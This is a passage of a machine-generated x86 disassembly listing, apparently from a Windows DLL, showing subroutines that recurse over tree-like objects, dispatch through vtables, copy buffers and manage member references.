arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
test esi, esi
push edi
mov ebx, ecx
jz short loc_69B8F186
mov edi, [esp+0Ch+arg_4]
test edi, edi
jz short loc_69B8F186
mov al, [esi+8]
cmp al, 5
jz short loc_69B8F186
cmp al, 4
jz short loc_69B8F127
cmp al, 3
jnz short loc_69B8F15F
loc_69B8F127: ; CODE XREF: sub_69B8F103+1Ej
mov eax, [esi+14h]
test eax, eax
jz short loc_69B8F143
cmp byte ptr [eax+8], 5
jnz short loc_69B8F143
mov eax, [eax+18h]
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx+24h]
test al, al
jnz short loc_69B8F16F
loc_69B8F143: ; CODE XREF: sub_69B8F103+29j
; sub_69B8F103+2Fj
mov eax, [esi+18h]
test eax, eax
jz short loc_69B8F15F
cmp byte ptr [eax+8], 5
jnz short loc_69B8F15F
mov eax, [eax+18h]
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx+24h]
test al, al
jnz short loc_69B8F16F
loc_69B8F15F: ; CODE XREF: sub_69B8F103+22j
; sub_69B8F103+45j ...
mov eax, [esi+14h]
push edi
push eax
mov ecx, ebx
call sub_69B8F103
test al, al
jz short loc_69B8F173
loc_69B8F16F: ; CODE XREF: sub_69B8F103+3Ej
; sub_69B8F103+5Aj
mov al, 1
jmp short loc_69B8F188
; ---------------------------------------------------------------------------
loc_69B8F173: ; CODE XREF: sub_69B8F103+6Aj
mov esi, [esi+18h]
push edi
push esi
mov ecx, ebx
call sub_69B8F103
test al, al
setnz al
jmp short loc_69B8F188
; ---------------------------------------------------------------------------
loc_69B8F186: ; CODE XREF: sub_69B8F103+Bj
; sub_69B8F103+13j ...
xor al, al
loc_69B8F188: ; CODE XREF: sub_69B8F103+6Ej
; sub_69B8F103+81j
pop edi
pop esi
pop ebx
retn 8
sub_69B8F103 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F18E proc near ; CODE XREF: sub_69B7855F+39p
mov ecx, [ecx+1Ch]
push 0
push ecx
call sub_69B3156E
retn
sub_69B8F18E endp
; =============== S U B R O U T I N E =======================================
sub_69B8F19A proc near ; CODE XREF: sub_69B8F83D+D3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, ecx
mov ecx, [eax+8]
push esi
shl ecx, 2
push edi
lea esi, [eax+0Ch]
mov eax, ecx
shr ecx, 2
lea edi, [edx+0Ch]
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn 4
sub_69B8F19A endp
; =============== S U B R O U T I N E =======================================
sub_69B8F1C1 proc near ; DATA XREF: .text:69B16FD0o
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
lea eax, [esi+10h]
push eax
call sub_69B17320
push edi
lea eax, [esi+14h]
push eax
call sub_69B17320
push edi
lea eax, [esi+18h]
push eax
call sub_69B17320
push edi
lea eax, [esi+1Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+20h]
push eax
call sub_69B17320
push edi
lea eax, [esi+24h]
push eax
call sub_69B17320
push edi
lea eax, [esi+2Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+0Ch]
push eax
call sub_69B17320
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B8F1C1 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F220 proc near ; CODE XREF: sub_69B5AF99+3p
push 34h
call sub_69B17EF3
test eax, eax
jz short loc_69B8F232
mov ecx, eax
jmp sub_69B16F64
; ---------------------------------------------------------------------------
loc_69B8F232: ; CODE XREF: sub_69B8F220+9j
xor eax, eax
retn
sub_69B8F220 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F235 proc near ; CODE XREF: sub_69B16FD4+4p
; sub_69B17064+8p
push esi
mov esi, ecx
call sub_69B19118
and dword ptr [esi+0Ch], 0
and dword ptr [esi+10h], 0
mov eax, esi
pop esi
retn
sub_69B8F235 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F249 proc near ; CODE XREF: sub_69B47157+3p
; sub_69B8FA6E+Ep ...
push esi
mov esi, ecx
lea eax, [esi+10h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B8F249 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F266 proc near ; DATA XREF: .text:69B17050o
push esi
mov esi, ecx
movzx eax, byte ptr [esi+8]
sub eax, 0
jz short loc_69B8F2A3
dec eax
jz short loc_69B8F287
sub eax, 3
jz short loc_69B8F27E
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B8F27E: ; CODE XREF: sub_69B8F266+12j
mov ecx, [esi+14h]
mov eax, [ecx]
pop esi
jmp dword ptr [eax+38h]
; ---------------------------------------------------------------------------
loc_69B8F287: ; CODE XREF: sub_69B8F266+Dj
mov ecx, [esi+14h]
mov eax, [ecx]
call dword ptr [eax+38h]
test al, al
jnz short loc_69B8F2B1
loc_69B8F293: ; CODE XREF: sub_69B8F266+49j
mov ecx, [esi+18h]
mov eax, [ecx]
call dword ptr [eax+38h]
test al, al
jnz short loc_69B8F2B1
loc_69B8F29F: ; CODE XREF: sub_69B8F266+47j
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B8F2A3: ; CODE XREF: sub_69B8F266+Aj
mov ecx, [esi+14h]
mov eax, [ecx]
call dword ptr [eax+38h]
test al, al
jz short loc_69B8F29F
jmp short loc_69B8F293
; ---------------------------------------------------------------------------
loc_69B8F2B1: ; CODE XREF: sub_69B8F266+2Bj
; sub_69B8F266+37j
xor eax, eax
inc eax
pop esi
retn
sub_69B8F266 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F2B6 proc near ; CODE XREF: sub_69B8F2CD+50p
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B8F2C8
mov ecx, eax
jmp sub_69B16FD4
; ---------------------------------------------------------------------------
loc_69B8F2C8: ; CODE XREF: sub_69B8F2B6+9j
xor eax, eax
retn 0Ch
sub_69B8F2B6 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F2CD proc near ; DATA XREF: .text:69B17054o
arg_0 = dword ptr 4
push esi
mov esi, ecx
cmp dword ptr [esi+18h], 0
mov ecx, [esi+14h]
mov eax, [ecx]
push edi
push [esp+8+arg_0]
jnz short loc_69B8F305
movzx esi, byte ptr [esi+8]
call dword ptr [eax+3Ch]
push 1Ch
mov edi, eax
call sub_69B17EF3
test eax, eax
jz short loc_69B8F301
push esi
push 0
push edi
mov ecx, eax
call sub_69B16FD4
jmp short loc_69B8F322
; ---------------------------------------------------------------------------
loc_69B8F301: ; CODE XREF: sub_69B8F2CD+25j
xor eax, eax
jmp short loc_69B8F322
; ---------------------------------------------------------------------------
loc_69B8F305: ; CODE XREF: sub_69B8F2CD+11j
call dword ptr [eax+3Ch]
mov ecx, [esi+18h]
push [esp+8+arg_0]
mov edi, eax
mov eax, [ecx]
call dword ptr [eax+3Ch]
movzx ecx, byte ptr [esi+8]
push ecx
push eax
push edi
call sub_69B8F2B6
loc_69B8F322: ; CODE XREF: sub_69B8F2CD+32j
; sub_69B8F2CD+36j
pop edi
pop esi
retn 4
sub_69B8F2CD endp
; =============== S U B R O U T I N E =======================================
sub_69B8F327 proc near ; DATA XREF: .text:69B17058o
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
lea edi, [esi+0Ch]
cmp dword ptr [edi], 0
jnz short loc_69B8F395
cmp byte ptr [esi+8], 0
jnz short loc_69B8F35A
mov ecx, [esi+14h]
mov eax, [ecx]
call dword ptr [eax+38h]
test al, al
jnz short loc_69B8F35A
loc_69B8F345: ; CODE XREF: sub_69B8F327+3Cj
mov ecx, [esi+14h]
push [esp+8+arg_0]
mov eax, [ecx]
call dword ptr [eax+40h]
push eax
push edi
call sub_69B17320
jmp short loc_69B8F395
; ---------------------------------------------------------------------------
loc_69B8F35A: ; CODE XREF: sub_69B8F327+10j
; sub_69B8F327+1Cj
mov al, [esi+8]
test al, al
jz short loc_69B8F365
cmp al, 1
jnz short loc_69B8F345
loc_69B8F365: ; CODE XREF: sub_69B8F327+38j
mov ecx, [esi+14h]
push [esp+8+arg_0]
mov eax, [ecx]
call dword ptr [eax+40h]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+28h]
push eax
push edi
call sub_69B17320
mov ecx, [esi+18h]
push [esp+8+arg_0]
mov eax, [ecx]
mov esi, [edi]
call dword ptr [eax+40h]
push eax
mov ecx, esi
call sub_69B90334
loc_69B8F395: ; CODE XREF: sub_69B8F327+Aj
; sub_69B8F327+31j
mov eax, [edi]
pop edi
pop esi
retn 4
sub_69B8F327 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F39C proc near ; DATA XREF: .text:69B1705Co
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
lea edi, [esi+10h]
cmp dword ptr [edi], 0
jnz short loc_69B8F40F
cmp byte ptr [esi+8], 0
jnz short loc_69B8F3CF
mov ecx, [esi+18h]
mov eax, [ecx]
call dword ptr [eax+38h]
test al, al
jnz short loc_69B8F3CF
mov ecx, [esi+18h]
loc_69B8F3BD: ; CODE XREF: sub_69B8F39C+41j
push [esp+8+arg_0]
mov eax, [ecx]
call dword ptr [eax+44h]
push eax
push edi
call sub_69B17320
jmp short loc_69B8F40F
; ---------------------------------------------------------------------------
loc_69B8F3CF: ; CODE XREF: sub_69B8F39C+10j
; sub_69B8F39C+1Cj
mov al, [esi+8]
cmp al, 1
jz short loc_69B8F3DF
test al, al
jz short loc_69B8F3DF
mov ecx, [esi+14h]
jmp short loc_69B8F3BD
; ---------------------------------------------------------------------------
loc_69B8F3DF: ; CODE XREF: sub_69B8F39C+38j
; sub_69B8F39C+3Cj
mov ecx, [esi+14h]
push [esp+8+arg_0]
mov eax, [ecx]
call dword ptr [eax+44h]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+28h]
push eax
push edi
call sub_69B17320
mov ecx, [esi+18h]
push [esp+8+arg_0]
mov eax, [ecx]
mov esi, [edi]
call dword ptr [eax+44h]
push eax
mov ecx, esi
call sub_69B90334
loc_69B8F40F: ; CODE XREF: sub_69B8F39C+Aj
; sub_69B8F39C+31j
mov eax, [edi]
pop edi
pop esi
retn 4
sub_69B8F39C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8F416 proc near ; DATA XREF: .text:69B17060o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
movzx eax, byte ptr [esi+8]
sub eax, 0
mov ecx, [esi+14h]
push edi
jz short loc_69B8F496
dec eax
jz short loc_69B8F482
dec eax
mov eax, [ecx]
jz short loc_69B8F47B
mov ebx, [ebp+arg_0]
push ebx
call dword ptr [eax+48h]
mov edi, [ebx+8]
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+44h]
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+40h]
mov edi, [ebx+8]
jmp short loc_69B8F476
; ---------------------------------------------------------------------------
loc_69B8F451: ; CODE XREF: sub_69B8F416+61j
mov ecx, [esi+10h]
push edi
call sub_69B9030C
test al, al
jz short loc_69B8F476
mov eax, [esi+0Ch]
push edi
mov ecx, ebx
mov [ebp+arg_0], eax
call sub_69B1A954
push [ebp+arg_0]
mov ecx, [eax]
call sub_69B90334
loc_69B8F476: ; CODE XREF: sub_69B8F416+39j
; sub_69B8F416+46j
dec edi
jns short loc_69B8F451
jmp short loc_69B8F4E7
; ---------------------------------------------------------------------------
loc_69B8F47B: ; CODE XREF: sub_69B8F416+1Aj
pop edi
pop esi
pop ebx
pop ebp
jmp dword ptr [eax+48h]
; ---------------------------------------------------------------------------
loc_69B8F482: ; CODE XREF: sub_69B8F416+15j
push [ebp+arg_0]
mov eax, [ecx]
call dword ptr [eax+48h]
mov ecx, [esi+18h]
mov eax, [ecx]
pop edi
pop esi
pop ebx
pop ebp
jmp dword ptr [eax+48h]
; ---------------------------------------------------------------------------
loc_69B8F496: ; CODE XREF: sub_69B8F416+12j
mov edi, [ebp+arg_0]
mov eax, [ecx]
push edi
call dword ptr [eax+48h]
mov ecx, [esi+18h]
mov eax, [ecx]
push edi
call dword ptr [eax+48h]
mov ebx, [edi+8]
mov ecx, [esi+14h]
mov eax, [ecx]
push ebx
call dword ptr [eax+44h]
mov ecx, [esi+18h]
mov [ebp+arg_0], eax
mov eax, [ecx]
push ebx
call dword ptr [eax+40h]
mov esi, [edi+8]
mov ebx, eax
jmp short loc_69B8F4E4
; ---------------------------------------------------------------------------
loc_69B8F4C7: ; CODE XREF: sub_69B8F416+CFj
mov ecx, [ebp+arg_0]
push esi
call sub_69B9030C
test al, al
jz short loc_69B8F4E4
push esi
mov ecx, edi
call sub_69B1A954
mov ecx, [eax]
push ebx
call sub_69B90334
loc_69B8F4E4: ; CODE XREF: sub_69B8F416+AFj
; sub_69B8F416+BCj
dec esi
jns short loc_69B8F4C7
loc_69B8F4E7: ; CODE XREF: sub_69B8F416+63j
pop edi
pop esi
pop ebx
pop ebp
retn 4
sub_69B8F416 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F4EE proc near ; DATA XREF: .text:69B1704Co
push esi
mov esi, ecx
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
push 0
lea eax, [esi+18h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
loc_69B8F50A: ; CODE XREF: sub_69B8FA32+11j
push esi
mov esi, ecx
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push 0
add esi, 10h
push esi
call sub_69B17320
pop esi
retn
sub_69B8F4EE endp
; =============== S U B R O U T I N E =======================================
sub_69B8F525 proc near ; CODE XREF: sub_69B8BC27+38p
; sub_69B8BCA2+4Ap
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
and dword ptr [esi+10h], 0
mov eax, ecx
mov ecx, [eax+24h]
test ecx, ecx
jz short loc_69B8F55F
cmp dword ptr [ecx+0Ch], 0
jle short loc_69B8F55F
mov eax, [eax+20h]
push edi
mov edi, [eax+0Ch]
push 0
call sub_69B8A163
push edi
mov ecx, eax
call sub_69B1A954
cmp dword ptr [eax], 0
pop edi
setnle al
mov [esi+14h], al
jmp short loc_69B8F563
; ---------------------------------------------------------------------------
loc_69B8F55F: ; CODE XREF: sub_69B8F525+10j
; sub_69B8F525+16j
mov byte ptr [esi+14h], 1
loc_69B8F563: ; CODE XREF: sub_69B8F525+38j
pop esi
retn 4
sub_69B8F525 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F567 proc near ; CODE XREF: sub_69B5B040+25p
; sub_69B8CB17+40p ...
push esi
mov esi, ecx
call sub_69B1D7F6
push eax
lea eax, [esi+18h]
push eax
call sub_69B17320
call sub_69B315A6
push eax
lea eax, [esi+1Ch]
push eax
call sub_69B17320
call sub_69B1D7F6
push eax
lea eax, [esi+20h]
push eax
call sub_69B17320
call sub_69B8A676
push eax
add esi, 2Ch
push esi
call sub_69B17320
pop esi
retn
sub_69B8F567 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F5A8 proc near ; CODE XREF: sub_69B5BEDE+111p
; sub_69B5C12E+16p ...
push ebp
push esi
mov esi, ecx
mov ecx, [esi+2Ch]
mov eax, [ecx]
push edi
call dword ptr [eax+48h]
mov ecx, [esi+2Ch]
cmp dword ptr [ecx+0Ch], 0
mov edi, eax
jnz short loc_69B8F60F
cmp byte ptr [edi+8], 5
jnz short loc_69B8F5FF
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1
mov ebp, [edi+18h]
push ebx
mov ebx, eax
jg short loc_69B8F5DC
call sub_69B2E6D8
loc_69B8F5DC: ; CODE XREF: sub_69B8F5A8+2Dj
cmp ebp, [ebx+10h]
pop ebx
jnz short loc_69B8F5FF
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B8F5FD
push 3
push 0
push edi
mov ecx, eax
call sub_69B16FD4
mov edi, eax
jmp short loc_69B8F5FF
; ---------------------------------------------------------------------------
loc_69B8F5FD: ; CODE XREF: sub_69B8F5A8+43j
xor edi, edi
loc_69B8F5FF: ; CODE XREF: sub_69B8F5A8+1Cj
; sub_69B8F5A8+38j ...
push edi
lea eax, [esi+10h]
push eax
call sub_69B17320
mov byte ptr [esi+29h], 0
jmp short loc_69B8F639
; ---------------------------------------------------------------------------
loc_69B8F60F: ; CODE XREF: sub_69B8F5A8+16j
mov eax, [ecx]
call dword ptr [eax+48h]
mov ebp, eax
test ebp, ebp
jz short loc_69B8F62C
push edi
lea eax, [ebp+18h]
push eax
call sub_69B17320
mov edi, ebp
mov byte ptr [esi+29h], 1
jmp short loc_69B8F630
; ---------------------------------------------------------------------------
loc_69B8F62C: ; CODE XREF: sub_69B8F5A8+70j
mov byte ptr [esi+29h], 0
loc_69B8F630: ; CODE XREF: sub_69B8F5A8+82j
mov ecx, [esi+2Ch]
mov eax, [ecx]
push edi
call dword ptr [eax+4Ch]
loc_69B8F639: ; CODE XREF: sub_69B8F5A8+65j
pop edi
pop esi
pop ebp
retn
sub_69B8F5A8 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F63D proc near ; CODE XREF: sub_69B5AE06+17j
; sub_69B8DBA2+6Dp
push esi
mov esi, ecx
mov ecx, [esi+2Ch]
mov eax, [ecx]
push edi
call dword ptr [eax+48h]
mov esi, [esi+2Ch]
push 1Ch
mov edi, eax
call sub_69B17EF3
test eax, eax
jz short loc_69B8F667
push 1
push 0
push edi
mov ecx, eax
call sub_69B16FD4
jmp short loc_69B8F669
; ---------------------------------------------------------------------------
loc_69B8F667: ; CODE XREF: sub_69B8F63D+1Aj
xor eax, eax
loc_69B8F669: ; CODE XREF: sub_69B8F63D+28j
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+4Ch]
pop edi
pop esi
retn
sub_69B8F63D endp
; =============== S U B R O U T I N E =======================================
sub_69B8F674 proc near ; CODE XREF: sub_69B5AE06+22j
; sub_69B8DBA2+60p
push esi
mov esi, ecx
mov ecx, [esi+2Ch]
mov eax, [ecx]
push edi
call dword ptr [eax+48h]
mov esi, [esi+2Ch]
push 1Ch
mov edi, eax
call sub_69B17EF3
test eax, eax
jz short loc_69B8F69E
push 0
push 0
push edi
mov ecx, eax
call sub_69B16FD4
jmp short loc_69B8F6A0
; ---------------------------------------------------------------------------
loc_69B8F69E: ; CODE XREF: sub_69B8F674+1Aj
xor eax, eax
loc_69B8F6A0: ; CODE XREF: sub_69B8F674+28j
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+4Ch]
pop edi
pop esi
retn
sub_69B8F674 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8F6AB proc near ; CODE XREF: sub_69B8FFB1+2p
; sub_69B8FFB9+2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ecx, [esi+2Ch]
push edi
xor edi, edi
cmp [ecx+0Ch], edi
jle short loc_69B8F728
mov eax, [ecx]
call dword ptr [eax+48h]
cmp byte ptr [esi+29h], 0
mov ebx, eax
jz short loc_69B8F700
cmp byte ptr [ebx+8], 5
jz short loc_69B8F700
lea edi, [ebx+18h]
mov eax, [edi]
push 1Ch
mov [ebp+var_4], eax
call sub_69B17EF3
test eax, eax
jz short loc_69B8F6F5
push [ebp+arg_0]
mov ecx, eax
push 0
push [ebp+var_4]
call sub_69B16FD4
jmp short loc_69B8F6F7
; ---------------------------------------------------------------------------
loc_69B8F6F5: ; CODE XREF: sub_69B8F6AB+37j
xor eax, eax
loc_69B8F6F7: ; CODE XREF: sub_69B8F6AB+48j
push eax
push edi
call sub_69B17320
jmp short loc_69B8F71D
; ---------------------------------------------------------------------------
loc_69B8F700: ; CODE XREF: sub_69B8F6AB+1Ej
; sub_69B8F6AB+24j
push 1Ch
call sub_69B17EF3
cmp eax, edi
jz short loc_69B8F71B
push [ebp+arg_0]
mov ecx, eax
push edi
push ebx
call sub_69B16FD4
mov ebx, eax
jmp short loc_69B8F71D
; ---------------------------------------------------------------------------
loc_69B8F71B: ; CODE XREF: sub_69B8F6AB+5Ej
xor ebx, ebx
loc_69B8F71D: ; CODE XREF: sub_69B8F6AB+53j
; sub_69B8F6AB+6Ej
mov ecx, [esi+2Ch]
mov eax, [ecx]
push ebx
call dword ptr [eax+4Ch]
jmp short loc_69B8F74F
; ---------------------------------------------------------------------------
loc_69B8F728: ; CODE XREF: sub_69B8F6AB+11j
add esi, 10h
mov ebx, [esi]
push 1Ch
call sub_69B17EF3
cmp eax, edi
jz short loc_69B8F746
push [ebp+arg_0]
mov ecx, eax
push edi
push ebx
call sub_69B16FD4
jmp short loc_69B8F748
; ---------------------------------------------------------------------------
loc_69B8F746: ; CODE XREF: sub_69B8F6AB+8Bj
xor eax, eax
loc_69B8F748: ; CODE XREF: sub_69B8F6AB+99j
push eax
push esi
call sub_69B17320
loc_69B8F74F: ; CODE XREF: sub_69B8F6AB+7Bj
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B8F6AB endp
; =============== S U B R O U T I N E =======================================
sub_69B8F756 proc near ; CODE XREF: sub_69B8B2D6+16p
mov al, [ecx+28h]
cmp al, 4
jz short loc_69B8F785
test al, al
jz short loc_69B8F785
mov eax, [ecx+20h]
mov ecx, [ecx+24h]
push esi
mov esi, [eax+0Ch]
push 0
call sub_69B8A163
push esi
mov ecx, eax
call sub_69B1A954
xor ecx, ecx
cmp [eax], ecx
pop esi
setnle cl
mov al, cl
retn
; ---------------------------------------------------------------------------
loc_69B8F785: ; CODE XREF: sub_69B8F756+5j
; sub_69B8F756+9j
mov al, 1
retn
sub_69B8F756 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8F788 proc near ; CODE XREF: sub_69B8FACC+C7p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push [ebp+arg_0]
mov esi, ecx
mov ecx, [esi+24h]
call sub_69B8A163
test eax, eax
mov [ebp+arg_0], eax
jz short loc_69B8F80A
push ebx
call sub_69B1D7F6
push dword ptr [esi+18h]
lea ecx, [ebp+var_8]
mov ebx, eax
call sub_69B8A0E9
mov eax, [ebp+var_8]
cmp eax, [ebp+var_4]
jnb short loc_69B8F807
push edi
loc_69B8F7BE: ; CODE XREF: sub_69B8F788+7Cj
mov eax, [eax]
mov edi, [eax+18h]
test edi, edi
jz short loc_69B8F7F8
push edi
mov ecx, ebx
call sub_69B677BA
test al, al
jnz short loc_69B8F7F8
mov ecx, [esi+1Ch]
push edi
call sub_69B1980A
test eax, eax
jz short loc_69B8F7F8
push dword ptr [eax+8]
mov ecx, [ebp+arg_0]
call sub_69B1A954
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_69B8F7F8
push edi
mov ecx, ebx
call sub_69B8A35C
loc_69B8F7F8: ; CODE XREF: sub_69B8F788+3Dj
; sub_69B8F788+49j ...
mov eax, [ebp+var_8]
add eax, 4
cmp eax, [ebp+var_4]
mov [ebp+var_8], eax
jb short loc_69B8F7BE
pop edi
loc_69B8F807: ; CODE XREF: sub_69B8F788+33j
mov eax, ebx
pop ebx
loc_69B8F80A: ; CODE XREF: sub_69B8F788+18j
pop esi
leave
retn 4
sub_69B8F788 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F80F proc near ; CODE XREF: sub_69B7855F+9Bp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
jz short loc_69B8F836
mov ecx, [esi+1Ch]
push edi
call sub_69B1980A
test eax, eax
jz short loc_69B8F836
mov eax, [esi+10h]
push edi
push eax
mov ecx, esi
call sub_69B8F103
jmp short loc_69B8F838
; ---------------------------------------------------------------------------
loc_69B8F836: ; CODE XREF: sub_69B8F80F+Aj
; sub_69B8F80F+17j
xor al, al
loc_69B8F838: ; CODE XREF: sub_69B8F80F+25j
pop edi
pop esi
retn 4
sub_69B8F80F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8F83D proc near ; CODE XREF: sub_69B8C881+41p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 34h
mov edi, ecx
call sub_69B17EF3
test eax, eax
jz short loc_69B8F85D
mov ecx, eax
call sub_69B16F64
mov esi, eax
jmp short loc_69B8F85F
; ---------------------------------------------------------------------------
loc_69B8F85D: ; CODE XREF: sub_69B8F83D+13j
xor esi, esi
loc_69B8F85F: ; CODE XREF: sub_69B8F83D+1Ej
mov al, [edi+8]
mov [esi+8], al
mov al, [edi+9]
mov [esi+9], al
mov al, [edi+28h]
mov [esi+28h], al
mov al, [edi+30h]
mov [esi+30h], al
call sub_69B1D7F6
push eax
lea eax, [esi+18h]
push eax
call sub_69B17320
call sub_69B315A6
push eax
lea eax, [esi+1Ch]
push eax
call sub_69B17320
call sub_69B1D7F6
push eax
lea eax, [esi+20h]
push eax
call sub_69B17320
mov ecx, [edi+10h]
test ecx, ecx
jz short loc_69B8F8B3
mov eax, [ecx]
push esi
call dword ptr [eax+3Ch]
jmp short loc_69B8F8B5
; ---------------------------------------------------------------------------
loc_69B8F8B3: ; CODE XREF: sub_69B8F83D+6Cj
xor eax, eax
loc_69B8F8B5: ; CODE XREF: sub_69B8F83D+74j
push eax
lea eax, [esi+10h]
push eax
call sub_69B17320
cmp dword ptr [edi+24h], 0
jz short loc_69B8F937
call sub_69B1D7F6
push dword ptr [edi+24h]
lea ecx, [ebp+var_10]
mov [ebp+var_8], eax
call sub_69B8A0E9
mov eax, [ebp+var_C]
cmp [ebp+var_10], eax
jnb short loc_69B8F92B
push ebx
loc_69B8F8E1: ; CODE XREF: sub_69B8F83D+EBj
mov eax, [ebp+var_10]
mov eax, [eax]
mov ebx, [eax+8]
mov [ebp+var_4], eax
lea eax, ds:10h[ebx*4]
push eax
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov [edi+8], ebx
call sub_69B19118
push [ebp+var_4]
mov ecx, edi
mov dword ptr [edi], offset off_69B13D68
call sub_69B8F19A
mov ecx, [ebp+var_8]
push edi
call sub_69B8A35C
mov eax, [ebp+var_C]
add [ebp+var_10], 4
cmp [ebp+var_10], eax
jb short loc_69B8F8E1
pop ebx
loc_69B8F92B: ; CODE XREF: sub_69B8F83D+A1j
push [ebp+var_8]
lea eax, [esi+24h]
push eax
call sub_69B17320
loc_69B8F937: ; CODE XREF: sub_69B8F83D+86j
pop edi
mov eax, esi
pop esi
leave
retn
sub_69B8F83D endp
; =============== S U B R O U T I N E =======================================
sub_69B8F93D proc near ; DATA XREF: .text:69B16FA8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B8F958
test [esp+4+arg_0], 1
jz short loc_69B8F952
push esi
call sub_69B1829F
loc_69B8F952: ; CODE XREF: sub_69B8F93D+Dj
mov eax, esi
pop esi
retn 4
sub_69B8F93D endp
; =============== S U B R O U T I N E =======================================
sub_69B8F958 proc near ; CODE XREF: sub_69B8F93D+3p
push esi
mov esi, ecx
lea eax, [esi+2Ch]
push eax
call sub_69B17230
lea eax, [esi+24h]
push eax
call sub_69B17230
lea eax, [esi+20h]
push eax
call sub_69B17230
lea eax, [esi+1Ch]
push eax
call sub_69B17230
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B8F958 endp
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_69B8F9AE proc near ; DATA XREF: .text:69B17118o
cmp dword ptr [ecx+18h], 0
setz al
retn
sub_69B8F9AE endp
; =============== S U B R O U T I N E =======================================
sub_69B8F9B6 proc near ; DATA XREF: .text:69B17120o
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
lea esi, [edi+0Ch]
cmp dword ptr [esi], 0
jnz short loc_69B8F9ED
push 20h
call sub_69B17EF3
test eax, eax
jz short loc_69B8F9DA
push [esp+8+arg_0]
mov ecx, eax
call sub_69B901E8
jmp short loc_69B8F9DC
; ---------------------------------------------------------------------------
loc_69B8F9DA: ; CODE XREF: sub_69B8F9B6+15j
xor eax, eax
loc_69B8F9DC: ; CODE XREF: sub_69B8F9B6+22j
push eax
push esi
call sub_69B17320
push dword ptr [edi+14h]
mov ecx, [esi]
call sub_69B902DF
loc_69B8F9ED: ; CODE XREF: sub_69B8F9B6+Aj
mov eax, [esi]
pop edi
pop esi
retn 4
sub_69B8F9B6 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F9F4 proc near ; DATA XREF: .text:69B17124o
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
lea esi, [edi+10h]
cmp dword ptr [esi], 0
jnz short loc_69B8FA2B
push 20h
call sub_69B17EF3
test eax, eax
jz short loc_69B8FA18
push [esp+8+arg_0]
mov ecx, eax
call sub_69B901E8
jmp short loc_69B8FA1A
; ---------------------------------------------------------------------------
loc_69B8FA18: ; CODE XREF: sub_69B8F9F4+15j
xor eax, eax
loc_69B8FA1A: ; CODE XREF: sub_69B8F9F4+22j
push eax
push esi
call sub_69B17320
push dword ptr [edi+14h]
mov ecx, [esi]
call sub_69B902DF
loc_69B8FA2B: ; CODE XREF: sub_69B8F9F4+Aj
mov eax, [esi]
pop edi
pop esi
retn 4
sub_69B8F9F4 endp
; =============== S U B R O U T I N E =======================================
